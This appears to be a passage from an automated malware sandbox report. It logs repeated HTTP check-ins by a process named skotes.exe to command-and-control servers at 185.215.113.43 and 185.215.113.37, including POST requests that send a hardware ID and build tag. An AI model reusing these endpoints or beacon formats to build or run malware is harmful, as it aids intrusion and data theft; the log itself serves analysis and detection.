Oct 3, 2024 03:28:53.602149963 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49819	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:55.615411043 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000334031&unit=246122658369
Oct 3, 2024 03:28:56.328313112 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49821	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:57.958256006 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:58.684863091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49822	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:00.214442015 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:00.924413919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49823	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:02.683233976 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:03.365847111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49829	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:04.990154028 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:05.701471090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49834	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:07.337841988 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:08.027370930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49836	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:08.945744038 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 03:29:09.649225950 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:29:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 3, 2024 03:29:09.655580044 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="hwid"4991C382B7451388941053------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="build"doma------CGCFIIEBKEGHJJJJJJDA--
Oct 3, 2024 03:29:09.892349005 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:29:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49837	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:09.551361084 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:10.347399950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49847	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:11.976680040 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:12.711306095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49856	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:14.225878954 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:14.947380066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49862	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:16.574641943 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:17.289442062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49863	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:18.818075895 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:19.543258905 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49864	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:21.183653116 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:21.889802933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49866	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:23.411266088 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:24.116166115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49867	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:25.697133064 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 03:29:26.823431969 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:29:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 3, 2024 03:29:26.823556900 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:29:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 3, 2024 03:29:26.826456070 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="hwid"4991C382B7451388941053------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="build"doma------CFCBFHJECAKEHIECGIEB--
Oct 3, 2024 03:29:27.058852911 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:29:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49868	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:25.754357100 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:26.823491096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 3, 2024 03:29:26.823784113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49869	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:28.333184004 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:29.070913076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49870	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:30.707973957 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:32.207747936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 3, 2024 03:29:32.208019018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 3, 2024 03:29:32.208060026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49871	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:33.724730968 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:34.421252012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49872	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:36.052460909 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:36.769599915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49873	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
